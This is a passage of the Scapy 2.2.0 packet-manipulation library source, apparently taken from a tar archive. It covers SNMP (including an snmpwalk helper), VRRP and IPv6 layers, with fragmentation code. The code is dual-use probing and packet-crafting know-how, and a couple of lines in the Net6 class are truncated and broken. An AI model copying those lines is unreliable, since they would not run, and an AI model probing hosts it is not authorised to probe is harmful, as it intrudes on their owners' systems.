[], SNMPvarbind) ) class SNMP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}), ASN1F_STRING("community","public"), ASN1F_CHOICE("PDU", SNMPget(), SNMPget, SNMPnext, SNMPresponse, SNMPset, SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) ) def answers(self, other): return ( isinstance(self.PDU, SNMPresponse) and ( isinstance(other.PDU, SNMPget) or isinstance(other.PDU, SNMPnext) or isinstance(other.PDU, SNMPset) ) and self.PDU.id == other.PDU.id ) bind_layers( UDP, SNMP, sport=161) bind_layers( UDP, SNMP, dport=161) bind_layers( UDP, SNMP, sport=162) bind_layers( UDP, SNMP, dport=162) def snmpwalk(dst, oid="1", community="public"): try: while 1: r = sr1(IP(dst=dst)/UDP(sport=RandShort())/SNMP(community=community, PDU=SNMPnext(varbindlist=[SNMPvarbind(oid=oid)])),timeout=2, chainCC=1, verbose=0, retry=2) if ICMP in r: print repr(r) break if r is None: print "No answers" break print "%-40s: %r" % (r[SNMPvarbind].oid.val,r[SNMPvarbind].value) oid = r[SNMPvarbind].oid except KeyboardInterrupt: pass scapy-2.2.0/scapy/layers/vrrp.py0000644000175000017500000000230411430356076014725 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## Copyright (C) 6WIND ## This program is published under a GPLv2 license """ VRRP (Virtual Router Redundancy Protocol). """ from scapy.packet import * from scapy.fields import * from scapy.layers.inet import IP IPPROTO_VRRP=112 # RFC 3768 - Virtual Router Redundancy Protocol (VRRP) class VRRP(Packet): fields_desc = [ BitField("version" , 2, 4), BitField("type" , 1, 4), ByteField("vrid", 1), ByteField("priority", 100), FieldLenField("ipcount", None, count_of="addrlist", fmt="B"), ByteField("authtype", 0), ByteField("adv", 1), XShortField("chksum", None), FieldListField("addrlist", [], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.ipcount), IntField("auth1", 0), IntField("auth2", 0) ] def post_build(self, p, pay): if self.chksum is None: ck = checksum(p) p = p[:6]+chr(ck>>8)+chr(ck&0xff)+p[8:] return p bind_layers( IP, VRRP, proto=IPPROTO_VRRP) scapy-2.2.0/scapy/layers/__init__.py0000644000175000017500000000033611430356072015472 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Layer package. """ scapy-2.2.0/scapy/layers/inet6.py0000644000175000017500000033760711430356073014777 0ustar pbipbi#! /usr/bin/env python ############################################################################# ## ## ## inet6.py --- IPv6 support for Scapy ## ## see http://natisbad.org/IPv6/ ## ## for more informations ## ## ## ## Copyright (C) 2005 Guillaume Valadon ## ## Arnaud Ebalard ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# """ IPv6 (Internet Protocol v6). """ import socket if not socket.has_ipv6: raise socket.error("can't use AF_INET6, IPv6 is disabled") if not hasattr(socket, "IPPROTO_IPV6"): # Workaround for http://bugs.python.org/issue6926 socket.IPPROTO_IPV6 = 41 from scapy.config import conf from scapy.layers.l2 import * from scapy.layers.inet import * from scapy.fields import * from scapy.packet import * from scapy.volatile import * from scapy.sendrecv import sr,sr1,srp1 from scapy.as_resolvers import AS_resolver_riswhois from scapy.supersocket import SuperSocket,L3RawSocket from scapy.arch import * from scapy.utils6 import * ############################################################################# # Helpers ## ############################################################################# def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) ########################## ## Neighbor cache stuff ## ########################## conf.netcache.new_cache("in6_neighbor", 120) def neighsol(addr, src, iface, timeout=1, chainCC=0): """ Sends an ICMPv6 Neighbor Solicitation message to get the MAC address of the neighbor with specified IPv6 address addr. 'src' address is used as source of the message. Message is sent on iface. By default, timeout waiting for an answer is 1 second. If no answer is gathered, None is returned. Else, the answer is returned (ethernet frame). """ nsma = in6_getnsma(inet_pton(socket.AF_INET6, addr)) d = inet_ntop(socket.AF_INET6, nsma) dm = in6_getnsmac(nsma) p = Ether(dst=dm)/IPv6(dst=d, src=src, hlim=255) p /= ICMPv6ND_NS(tgt=addr) p /= ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface)) res = srp1(p,type=ETH_P_IPV6, iface=iface, timeout=1, verbose=0, chainCC=chainCC) return res def getmacbyip6(ip6, chainCC=0): """ Returns the mac address to be used for provided 'ip6' peer. neighborCache.get() method is used on instantiated neighbor cache. Resolution mechanism is described in associated doc string. (chainCC parameter value ends up being passed to sending function used to perform the resolution, if needed) """ if in6_ismaddr(ip6): # Multicast mac = in6_getnsmac(inet_pton(socket.AF_INET6, ip6)) return mac iff,a,nh = conf.route6.route(ip6, dev=conf.iface6) if iff == LOOPBACK_NAME: return "ff:ff:ff:ff:ff:ff" if nh != '::': ip6 = nh # Found next hop mac = conf.netcache.in6_neighbor.get(ip6) if mac: return mac res = neighsol(ip6, a, iff, chainCC=chainCC) if res is not None: mac = res.src conf.netcache.in6_neighbor[ip6] = mac return mac return None ############################################################################# ############################################################################# ### IPv6 addresses manipulation routines ### ############################################################################# ############################################################################# class Net6(Gen): # syntax ex. fec0::/126 """Generate a list of IPv6s from a network address or a name""" name = "ipv6" ipaddress = re.compile(r"^([a-fA-F0-9:]+)(/[1]?[0-3]?[0-9])?$") def __init__(self, net): self.repr = net tmp = net.split('/')+["128"] if not self.ipaddress.match(net): tmp[0]=socket.getaddrinfo(tmp[0], None, socket.AF_INET6)[0][-1][0] netmask = int(tmp[1]) self.net = inet_pton(socket.AF_INET6, tmp[0]) self.mask = in6_cidr2mask(netmask) self.plen = netmask def __iter__(self): def m8(i): if i % 8 == 0: return i tuple = filter(lambda x: m8(x), xrange(8, 129)) a = in6_and(self.net, self.mask) tmp = map(lambda x: x, struct.unpack('16B', a)) def parse_digit(a, netmask): netmask = min(8,max(netmask,0)) a = (int(a) & (0xffL<>(8-netmask)))+1) return a self.parsed = map(lambda x,y: parse_digit(x,y), tmp, map(lambda x,nm=self.plen: x-nm, tuple)) def rec(n, l): if n and n % 2 == 0: sep = ':' else: sep = '' if n == 16: return l else: ll = [] for i in xrange(*self.parsed[n]): for y in l: ll += [y+sep+'%.2x'%i] return rec(n+1, ll) return iter(rec(0, [''])) def __repr__(self): return "" % self.repr ############################################################################# ############################################################################# ### IPv6 Class ### ############################################################################# ############################################################################# class IP6Field(Field): def __init__(self, name, default): Field.__init__(self, name, default, "16s") def h2i(self, pkt, x): if type(x) is str: try: x = in6_ptop(x) except socket.error: x = Net6(x) elif type(x) is list: x = map(Net6, x) return x def i2m(self, pkt, x): return inet_pton(socket.AF_INET6, x) def m2i(self, pkt, x): return inet_ntop(socket.AF_INET6, x) def any2i(self, pkt, x): return self.h2i(pkt,x) def i2repr(self, pkt, x): if x is None: return self.i2h(pkt,x) elif not isinstance(x, Net6) and not type(x) is list: if in6_isaddrTeredo(x): # print Teredo info server, flag, maddr, mport = teredoAddrExtractInfo(x) return "%s [Teredo srv: %s cli: %s:%s]" % (self.i2h(pkt, x), server, maddr,mport) elif in6_isaddr6to4(x): # print encapsulated address vaddr = in6_6to4ExtractAddr(x) return "%s [6to4 GW: %s]" % (self.i2h(pkt, x), vaddr) return self.i2h(pkt, x) # No specific information to return def randval(self): return RandIP6() class SourceIP6Field(IP6Field): def __init__(self, name, dstname): IP6Field.__init__(self, name, None) self.dstname = dstname def i2m(self, pkt, x): if x is None: dst=getattr(pkt,self.dstname) iff,x,nh = conf.route6.route(dst) return IP6Field.i2m(self, pkt, x) def i2h(self, pkt, x): if x is None: dst=getattr(pkt,self.dstname) if isinstance(dst,Gen): r = map(conf.route6.route, dst) r.sort() if r[0] == r[-1]: x=r[0][1] else: warning("More than one possible route for %s"%repr(dst)) return None else: iff,x,nh = conf.route6.route(dst) return IP6Field.i2h(self, pkt, x) ipv6nh = { 0:"Hop-by-Hop Option Header", 4:"IP", 6:"TCP", 17:"UDP", 41:"IPv6", 43:"Routing Header", 44:"Fragment Header", 47:"GRE", 50:"ESP Header", 51:"AH Header", 58:"ICMPv6", 59:"No Next Header", 60:"Destination Option Header", 135:"Mobility Header"} ipv6nhcls = { 0: "IPv6ExtHdrHopByHop", 4: "IP", 6: "TCP", 17: "UDP", 43: "IPv6ExtHdrRouting", 44: "IPv6ExtHdrFragment", #50: "IPv6ExtHrESP", #51: "IPv6ExtHdrAH", 58: "ICMPv6Unknown", 59: "Raw", 60: "IPv6ExtHdrDestOpt" } class IP6ListField(StrField): islist = 1 def __init__(self, name, default, count_from=None, length_from=None): if default is None: default = [] StrField.__init__(self, name, default) self.count_from = count_from self.length_from = length_from def i2len(self, pkt, i): return 16*len(i) def i2count(self, pkt, i): if type(i) is list: return len(i) return 0 def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) lst = [] ret = "" remain = s if l is not None: remain,ret = s[:l],s[l:] while remain: if c is not None: if c <= 0: break c -= 1 addr = inet_ntop(socket.AF_INET6, remain[:16]) lst.append(addr) remain = remain[16:] return remain+ret,lst def i2m(self, pkt, x): s = '' for y in x: try: y = inet_pton(socket.AF_INET6, y) except: y = socket.getaddrinfo(y, None, socket.AF_INET6)[0][-1][0] y = inet_pton(socket.AF_INET6, y) s += y return s def i2repr(self,pkt,x): s = [] if x == None: return "[]" for y in x: s.append('%s' % y) return "[ %s ]" % (", ".join(s)) class _IPv6GuessPayload: name = "Dummy class that implements guess_payload_class() for IPv6" def default_payload_class(self,p): if self.nh == 58 and len(p) > 2: t = ord(p[0]) if t == 139 or t == 140: # Node Info Query return _niquery_guesser(p) return get_cls(icmp6typescls.get(t,"Raw"), "Raw") elif self.nh == 135 and len(p) > 3: return _mip6_mhtype2cls.get(ord(p[2]), MIP6MH_Generic) else: return get_cls(ipv6nhcls.get(self.nh,"Raw"), "Raw") class IPv6(_IPv6GuessPayload, Packet, IPTools): name = "IPv6" fields_desc = [ BitField("version" , 6 , 4), BitField("tc", 0, 8), #TODO: IPv6, ByteField ? BitField("fl", 0, 20), ShortField("plen", None), ByteEnumField("nh", 59, ipv6nh), ByteField("hlim", 64), SourceIP6Field("src", "dst"), # dst is for src @ selection IP6Field("dst", "::1") ] def route(self): dst = self.dst if isinstance(dst,Gen): dst = iter(dst).next() return conf.route6.route(dst) def mysummary(self): return "%s > %s (%i)" % (self.src,self.dst, self.nh) def post_build(self, p, pay): p += pay if self.plen is None: l = len(p) - 40 p = p[:4]+struct.pack("!H", l)+p[6:] return p def extract_padding(self, s): l = self.plen return s[:l], s[l:] def hashret(self): if self.nh == 58 and isinstance(self.payload, _ICMPv6): if self.payload.type < 128: return self.payload.payload.hashret() elif (self.payload.type in [133,134,135,136,144,145]): return struct.pack("B", self.nh)+self.payload.hashret() nh = self.nh sd = self.dst ss = self.src if self.nh == 43 and isinstance(self.payload, IPv6ExtHdrRouting): # With routing header, the destination is the last # address of the IPv6 list if segleft > 0 nh = self.payload.nh try: sd = self.addresses[-1] except IndexError: sd = '::1' # TODO: big bug with ICMPv6 error messages as the destination of IPerror6 # could be anything from the original list ... if 1: sd = inet_pton(socket.AF_INET6, sd) for a in self.addresses: a = inet_pton(socket.AF_INET6, a) sd = strxor(sd, a) sd = inet_ntop(socket.AF_INET6, sd) if self.nh == 44 and isinstance(self.payload, IPv6ExtHdrFragment): nh = self.payload.nh if self.nh == 0 and isinstance(self.payload, IPv6ExtHdrHopByHop): nh = self.payload.nh if self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): foundhao = None for o in self.payload.options: if isinstance(o, HAO): foundhao = o if foundhao: nh = self.payload.nh # XXX what if another extension follows ? ss = foundhao.hoa if conf.checkIPsrc and conf.checkIPaddr: sd = inet_pton(socket.AF_INET6, sd) ss = inet_pton(socket.AF_INET6, self.src) return struct.pack("B",nh)+self.payload.hashret() else: return struct.pack("B", nh)+self.payload.hashret() def answers(self, other): if not isinstance(other, IPv6): # self is reply, other is request return False if conf.checkIPaddr: ss = inet_pton(socket.AF_INET6, self.src) sd = inet_pton(socket.AF_INET6, self.dst) os = inet_pton(socket.AF_INET6, other.src) od = inet_pton(socket.AF_INET6, other.dst) # request was sent to a multicast address (other.dst) # Check reply destination addr matches request source addr (i.e # sd == os) except when reply is multicasted too # XXX test mcast scope matching ? if in6_ismaddr(other.dst): if in6_ismaddr(self.dst): if ((od == sd) or (in6_isaddrllallnodes(self.dst) and in6_isaddrllallservers(other.dst))): return self.payload.answers(other.payload) return False if (os == sd): return self.payload.answers(other.payload) return False elif (sd != os): # or ss != od): <- removed for ICMP errors return False if self.nh == 58 and isinstance(self.payload, _ICMPv6) and self.payload.type < 128: # ICMPv6 Error message -> generated by IPv6 packet # Note : at the moment, we jump the ICMPv6 specific class # to call answers() method of erroneous packet (over # initial packet). There can be cases where an ICMPv6 error # class could implement a specific answers method that perform # a specific task. Currently, don't see any use ... return self.payload.payload.answers(other) elif other.nh == 0 and isinstance(other.payload, IPv6ExtHdrHopByHop): return self.payload.answers(other.payload.payload) elif other.nh == 44 and isinstance(other.payload, IPv6ExtHdrFragment): return self.payload.answers(other.payload.payload) elif other.nh == 43 and isinstance(other.payload, IPv6ExtHdrRouting): return self.payload.answers(other.payload.payload) # Buggy if self.payload is a IPv6ExtHdrRouting elif other.nh == 60 and isinstance(other.payload, IPv6ExtHdrDestOpt): return self.payload.payload.answers(other.payload.payload) elif self.nh == 60 and isinstance(self.payload, IPv6ExtHdrDestOpt): # BU in reply to BRR, for instance return self.payload.payload.answers(other.payload) else: if (self.nh != other.nh): return False return self.payload.answers(other.payload) conf.neighbor.register_l3(Ether, IPv6, lambda l2,l3: getmacbyip6(l3.dst)) class IPerror6(IPv6): name = "IPv6 in ICMPv6" def answers(self, other): if not isinstance(other, IPv6): return False sd = inet_pton(socket.AF_INET6, self.dst) ss = inet_pton(socket.AF_INET6, self.src) od = inet_pton(socket.AF_INET6, other.dst) os = inet_pton(socket.AF_INET6, other.src) # Make sure that the ICMPv6 error is related to the packet scapy sent if isinstance(self.underlayer, _ICMPv6) and self.underlayer.type < 128: # find upper layer for self (possible citation) selfup = self.payload while selfup is not None and isinstance(selfup, _IPv6ExtHdr): selfup = selfup.payload # find upper layer for other (initial packet). Also look for RH otherup = other.payload request_has_rh = False while otherup is not None and isinstance(otherup, _IPv6ExtHdr): if isinstance(otherup, IPv6ExtHdrRouting): request_has_rh = True otherup = otherup.payload if ((ss == os and sd == od) or # <- Basic case (ss == os and request_has_rh)): # <- Request has a RH : # don't check dst address # Let's deal with possible MSS Clamping if (isinstance(selfup, TCP) and isinstance(otherup, TCP) and selfup.options != otherup.options): # seems clamped # Save fields modified by MSS clamping old_otherup_opts = otherup.options old_otherup_cksum = otherup.chksum old_otherup_dataofs = otherup.dataofs old_selfup_opts = selfup.options old_selfup_cksum = selfup.chksum old_selfup_dataofs = selfup.dataofs # Nullify them otherup.options = [] otherup.chksum = 0 otherup.dataofs = 0 selfup.options = [] selfup.chksum = 0 selfup.dataofs = 0 # Test it and save result s1 = str(selfup) s2 = str(otherup) l = min(len(s1), len(s2)) res = s1[:l] == s2[:l] # recall saved values otherup.options = old_otherup_opts otherup.chksum = old_otherup_cksum otherup.dataofs = old_otherup_dataofs selfup.options = old_selfup_opts selfup.chksum = old_selfup_cksum selfup.dataofs = old_selfup_dataofs return res s1 = str(selfup) s2 = str(otherup) l = min(len(s1), len(s2)) return s1[:l] == s2[:l] return False def mysummary(self): return Packet.mysummary(self) ############################################################################# ############################################################################# ### Upper Layer Checksum computation ### ############################################################################# ############################################################################# class PseudoIPv6(Packet): # IPv6 Pseudo-header for checksum computation name = "Pseudo IPv6 Header" fields_desc = [ IP6Field("src", "::"), IP6Field("dst", "::"), ShortField("uplen", None), BitField("zero", 0, 24), ByteField("nh", 0) ] def in6_chksum(nh, u, p): """ Performs IPv6 Upper Layer checksum computation. Provided parameters are: - 'nh' : value of upper layer protocol - 'u' : upper layer instance (TCP, UDP, ICMPv6*, ). Instance must be provided with all under layers (IPv6 and all extension headers, for example) - 'p' : the payload of the upper layer provided as a string Functions operate by filling a pseudo header class instance (PseudoIPv6) with - Next Header value - the address of _final_ destination (if some Routing Header with non segleft field is present in underlayer classes, last address is used.) - the address of _real_ source (basically the source address of an IPv6 class instance available in the underlayer or the source address in HAO option if some Destination Option header found in underlayer includes this option). - the length is the length of provided payload string ('p') """ ph6 = PseudoIPv6() ph6.nh = nh rthdr = 0 hahdr = 0 final_dest_addr_found = 0 while u != None and not isinstance(u, IPv6): if (isinstance(u, IPv6ExtHdrRouting) and u.segleft != 0 and len(u.addresses) != 0 and final_dest_addr_found == 0): rthdr = u.addresses[-1] final_dest_addr_found = 1 elif (isinstance(u, IPv6ExtHdrDestOpt) and (len(u.options) == 1) and isinstance(u.options[0], HAO)): hahdr = u.options[0].hoa u = u.underlayer if u is None: warning("No IPv6 underlayer to compute checksum. Leaving null.") return 0 if hahdr: ph6.src = hahdr else: ph6.src = u.src if rthdr: ph6.dst = rthdr else: ph6.dst = u.dst ph6.uplen = len(p) ph6s = str(ph6) return checksum(ph6s+p) ############################################################################# ############################################################################# ### Extension Headers ### ############################################################################# ############################################################################# # Inherited by all extension header classes class _IPv6ExtHdr(_IPv6GuessPayload, Packet): name = 'Abstract IPV6 Option Header' aliastypes = [IPv6, IPerror6] # TODO ... #################### IPv6 options for Extension Headers ##################### _hbhopts = { 0x00: "Pad1", 0x01: "PadN", 0x04: "Tunnel Encapsulation Limit", 0x05: "Router Alert", 0x06: "Quick-Start", 0xc2: "Jumbo Payload", 0xc9: "Home Address Option" } class _OTypeField(ByteEnumField): """ Modified BytEnumField that displays information regarding the IPv6 option based on its option type value (What should be done by nodes that process the option if they do not understand it ...) It is used by Jumbo, Pad1, PadN, RouterAlert, HAO options """ pol = {0x00: "00: skip", 0x40: "01: discard", 0x80: "10: discard+ICMP", 0xC0: "11: discard+ICMP not mcast"} enroutechange = {0x00: "0: Don't change en-route", 0x20: "1: May change en-route" } def i2repr(self, pkt, x): s = self.i2s.get(x, repr(x)) polstr = self.pol[(x & 0xC0)] enroutechangestr = self.enroutechange[(x & 0x20)] return "%s [%s, %s]" % (s, polstr, enroutechangestr) class HBHOptUnknown(Packet): # IPv6 Hop-By-Hop Option name = "Scapy6 Unknown Option" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen) ] def alignment_delta(self, curpos): # By default, no alignment requirement """ As specified in section 4.2 of RFC 2460, every options has an alignment requirement ususally expressed xn+y, meaning the Option Type must appear at an integer multiple of x octest from the start of the header, plus y octet. That function is provided the current position from the start of the header and returns required padding length. """ return 0 class Pad1(Packet): # IPv6 Hop-By-Hop Option name = "Pad1" fields_desc = [ _OTypeField("otype", 0x00, _hbhopts) ] def alignment_delta(self, curpos): # No alignment requirement return 0 class PadN(Packet): # IPv6 Hop-By-Hop Option name = "PadN" fields_desc = [_OTypeField("otype", 0x01, _hbhopts), FieldLenField("optlen", None, length_of="optdata", fmt="B"), StrLenField("optdata", "", length_from = lambda pkt: pkt.optlen)] def alignment_delta(self, curpos): # No alignment requirement return 0 class RouterAlert(Packet): # RFC 2711 - IPv6 Hop-By-Hop Option name = "Router Alert" fields_desc = [_OTypeField("otype", 0x05, _hbhopts), ByteField("optlen", 2), ShortEnumField("value", None, { 0: "Datagram contains a MLD message", 1: "Datagram contains RSVP message", 2: "Datagram contains an Active Network message" }) ] # TODO : Check IANA has not defined new values for value field of RouterAlertOption # TODO : now that we have that option, we should do something in MLD class that need it def alignment_delta(self, curpos): # alignment requirement : 2n+0 x = 2 ; y = 0 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta class Jumbo(Packet): # IPv6 Hop-By-Hop Option name = "Jumbo Payload" fields_desc = [_OTypeField("otype", 0xC2, _hbhopts), ByteField("optlen", 4), IntField("jumboplen", None) ] def alignment_delta(self, curpos): # alignment requirement : 4n+2 x = 4 ; y = 2 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta class HAO(Packet): # IPv6 Destination Options Header Option name = "Home Address Option" fields_desc = [_OTypeField("otype", 0xC9, _hbhopts), ByteField("optlen", 16), IP6Field("hoa", "::") ] def alignment_delta(self, curpos): # alignment requirement : 8n+6 x = 8 ; y = 6 delta = x*((curpos - y + x - 1)/x) + y - curpos return delta _hbhoptcls = { 0x00: Pad1, 0x01: PadN, 0x05: RouterAlert, 0xC2: Jumbo, 0xC9: HAO } ######################## Hop-by-Hop Extension Header ######################## class _HopByHopOptionsField(PacketListField): islist = 1 holds_packet = 1 def __init__(self, name, default, cls, curpos, count_from=None, length_from=None): self.curpos = curpos PacketListField.__init__(self, name, default, cls, count_from=count_from, length_from=length_from) def i2len(self, pkt, i): l = len(self.i2m(pkt, i)) return l def i2count(self, pkt, i): if type(i) is list: return len(i) return 0 def getfield(self, pkt, s): c = l = None if self.length_from is not None: l = self.length_from(pkt) elif self.count_from is not None: c = self.count_from(pkt) opt = [] ret = "" x = s if l is not None: x,ret = s[:l],s[l:] while x: if c is not None: if c <= 0: break c -= 1 o = ord(x[0]) # Option type cls = self.cls if _hbhoptcls.has_key(o): cls = _hbhoptcls[o] try: op = cls(x) except: op = self.cls(x) opt.append(op) if isinstance(op.payload, Raw): x = op.payload.load del(op.payload) else: x = "" return x+ret,opt def i2m(self, pkt, x): autopad = None try: autopad = getattr(pkt, "autopad") # Hack : 'autopad' phantom field except: autopad = 1 if not autopad: return "".join(map(str, x)) curpos = self.curpos s = "" for p in x: d = p.alignment_delta(curpos) curpos += d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) pstr = str(p) curpos += len(pstr) s += pstr # Let's make the class including our option field # a multiple of 8 octets long d = curpos % 8 if d == 0: return s d = 8 - d if d == 1: s += str(Pad1()) elif d != 0: s += str(PadN(optdata='\x00'*(d-2))) return s def addfield(self, pkt, s, val): return s+self.i2m(pkt, val) class _PhantomAutoPadField(ByteField): def addfield(self, pkt, s, val): return s def getfield(self, pkt, s): return s, 1 def i2repr(self, pkt, x): if x: return "On" return "Off" class IPv6ExtHdrHopByHop(_IPv6ExtHdr): name = "IPv6 Extension Header - Hop-by-Hop Options Header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust = lambda pkt,x: (x+2+7)/8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default _HopByHopOptionsField("options", [], HBHOptUnknown, 2, length_from = lambda pkt: (8*(pkt.len+1))-2) ] overload_fields = {IPv6: { "nh": 0 }} ######################## Destination Option Header ########################## class IPv6ExtHdrDestOpt(_IPv6ExtHdr): name = "IPv6 Extension Header - Destination Options Header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, length_of="options", fmt="B", adjust = lambda pkt,x: (x+2+7)/8 - 1), _PhantomAutoPadField("autopad", 1), # autopad activated by default _HopByHopOptionsField("options", [], HBHOptUnknown, 2, length_from = lambda pkt: (8*(pkt.len+1))-2) ] overload_fields = {IPv6: { "nh": 60 }} ############################# Routing Header ################################ class IPv6ExtHdrRouting(_IPv6ExtHdr): name = "IPv6 Option Header Routing" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), FieldLenField("len", None, count_of="addresses", fmt="B", adjust = lambda pkt,x:2*x), # in 8 bytes blocks ByteField("type", 0), ByteField("segleft", None), BitField("reserved", 0, 32), # There is meaning in this field ... IP6ListField("addresses", [], length_from = lambda pkt: 8*pkt.len)] overload_fields = {IPv6: { "nh": 43 }} def post_build(self, pkt, pay): if self.segleft is None: pkt = pkt[:3]+struct.pack("B", len(self.addresses))+pkt[4:] return _IPv6ExtHdr.post_build(self, pkt, pay) ########################### Fragmentation Header ############################ class IPv6ExtHdrFragment(_IPv6ExtHdr): name = "IPv6 Extension Header - Fragmentation header" fields_desc = [ ByteEnumField("nh", 59, ipv6nh), BitField("res1", 0, 8), BitField("offset", 0, 13), BitField("res2", 0, 2), BitField("m", 0, 1), IntField("id", None) ] overload_fields = {IPv6: { "nh": 44 }} def defragment6(pktlist): """ Performs defragmentation of a list of IPv6 packets. Packets are reordered. Crap is dropped. What lacks is completed by 'X' characters. """ l = filter(lambda x: IPv6ExtHdrFragment in x, pktlist) # remove non fragments if not l: return [] id = l[0][IPv6ExtHdrFragment].id llen = len(l) l = filter(lambda x: x[IPv6ExtHdrFragment].id == id, l) if len(l) != llen: warning("defragment6: some fragmented packets have been removed from list") llen = len(l) # reorder fragments i = 0 res = [] while l: min_pos = 0 min_offset = l[0][IPv6ExtHdrFragment].offset for p in l: cur_offset = p[IPv6ExtHdrFragment].offset if cur_offset < min_offset: min_pos = 0 min_offset = cur_offset res.append(l[min_pos]) del(l[min_pos]) # regenerate the fragmentable part fragmentable = "" for p in res: q=p[IPv6ExtHdrFragment] offset = 8*q.offset if offset != len(fragmentable): warning("Expected an offset of %d. Found %d. Padding with XXXX" % (len(fragmentable), offset)) fragmentable += "X"*(offset - len(fragmentable)) fragmentable += str(q.payload) # Regenerate the unfragmentable part. q = res[0] nh = q[IPv6ExtHdrFragment].nh q[IPv6ExtHdrFragment].underlayer.nh = nh q[IPv6ExtHdrFragment].underlayer.payload = None q /= Raw(load=fragmentable) return IPv6(str(q)) def fragment6(pkt, fragSize): """ Performs fragmentation of an IPv6 packet. Provided packet ('pkt') must already contain an IPv6ExtHdrFragment() class. 'fragSize' argument is the expected maximum size of fragments (MTU). The list of packets is returned. If packet does not contain an IPv6ExtHdrFragment class, it is returned in result list. """ pkt = pkt.copy() s = str(pkt) # for instantiation to get upper layer checksum right if len(s) <= fragSize: return [pkt] if not IPv6ExtHdrFragment in pkt: # TODO : automatically add a fragment before upper Layer # at the moment, we do nothing and return initial packet # as single element of a list return [pkt] # Fragmentable part : fake IPv6 for Fragmentable part length computation fragPart = pkt[IPv6ExtHdrFragment].payload tmp = str(IPv6(src="::1", dst="::1")/fragPart) fragPartLen = len(tmp) - 40 # basic IPv6 header length fragPartStr = s[-fragPartLen:] # Grab Next Header for use in Fragment Header nh = IPv6(tmp[:40]).nh # Keep fragment header fragHeader = pkt[IPv6ExtHdrFragment] fragHeader.payload = None # detach payload # Unfragmentable Part unfragPartLen = len(s) - fragPartLen - 8 unfragPart = pkt pkt[IPv6ExtHdrFragment].underlayer.payload = None # detach payload # Cut the fragmentable part to fit fragSize. Inner fragments have # a length that is an integer multiple of 8 octets. last Frag MTU # can be anything below MTU lastFragSize = fragSize - unfragPartLen - 8 innerFragSize = lastFragSize - (lastFragSize % 8) if lastFragSize <= 0 or innerFragSize == 0: warning("Provided fragment size value is too low. " + "Should be more than %d" % (unfragPartLen + 8)) return [unfragPart/fragHeader/fragPart] remain = fragPartStr res = [] fragOffset = 0 # offset, incremeted during creation fragId = random.randint(0,0xffffffff) # random id ... if fragHeader.id is not None: # ... except id provided by user fragId = fragHeader.id fragHeader.m = 1 fragHeader.id = fragId fragHeader.nh = nh # Main loop : cut, fit to FRAGSIZEs, fragOffset, Id ... while True: if (len(remain) > lastFragSize): tmp = remain[:innerFragSize] remain = remain[innerFragSize:] fragHeader.offset = fragOffset # update offset fragOffset += (innerFragSize / 8) # compute new one if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart/fragHeader/Raw(load=tmp) res.append(tempo) else: fragHeader.offset = fragOffset # update offSet fragHeader.m = 0 if IPv6 in unfragPart: unfragPart[IPv6].plen = None tempo = unfragPart/fragHeader/Raw(load=remain) res.append(tempo) break return res ############################### AH Header ################################### # class _AHFieldLenField(FieldLenField): # def getfield(self, pkt, s): # l = getattr(pkt, self.fld) # l = (l*8)-self.shift # i = self.m2i(pkt, s[:l]) # return s[l:],i # class _AHICVStrLenField(StrLenField): # def i2len(self, pkt, x): # class IPv6ExtHdrAH(_IPv6ExtHdr): # name = "IPv6 Extension Header - AH" # fields_desc = [ ByteEnumField("nh", 59, ipv6nh), # _AHFieldLenField("len", None, "icv"), # ShortField("res", 0), # IntField("spi", 0), # IntField("sn", 0), # _AHICVStrLenField("icv", None, "len", shift=2) ] # overload_fields = {IPv6: { "nh": 51 }} # def post_build(self, pkt, pay): # if self.len is None: # pkt = pkt[0]+struct.pack("!B", 2*len(self.addresses))+pkt[2:] # if self.segleft is None: # pkt = pkt[:3]+struct.pack("!B", len(self.addresses))+pkt[4:] # return _IPv6ExtHdr.post_build(self, pkt, pay) ############################### ESP Header ################################## # class IPv6ExtHdrESP(_IPv6extHdr): # name = "IPv6 Extension Header - ESP" # fields_desc = [ IntField("spi", 0), # IntField("sn", 0), # # there is things to extract from IKE work # ] # overloads_fields = {IPv6: { "nh": 50 }} ############################################################################# ############################################################################# ### ICMPv6* Classes ### ############################################################################# ############################################################################# icmp6typescls = { 1: "ICMPv6DestUnreach", 2: "ICMPv6PacketTooBig", 3: "ICMPv6TimeExceeded", 4: "ICMPv6ParamProblem", 128: "ICMPv6EchoRequest", 129: "ICMPv6EchoReply", 130: "ICMPv6MLQuery", 131: "ICMPv6MLReport", 132: "ICMPv6MLDone", 133: "ICMPv6ND_RS", 134: "ICMPv6ND_RA", 135: "ICMPv6ND_NS", 136: "ICMPv6ND_NA", 137: "ICMPv6ND_Redirect", #138: Do Me - RFC 2894 - Seems painful 139: "ICMPv6NIQuery", 140: "ICMPv6NIReply", 141: 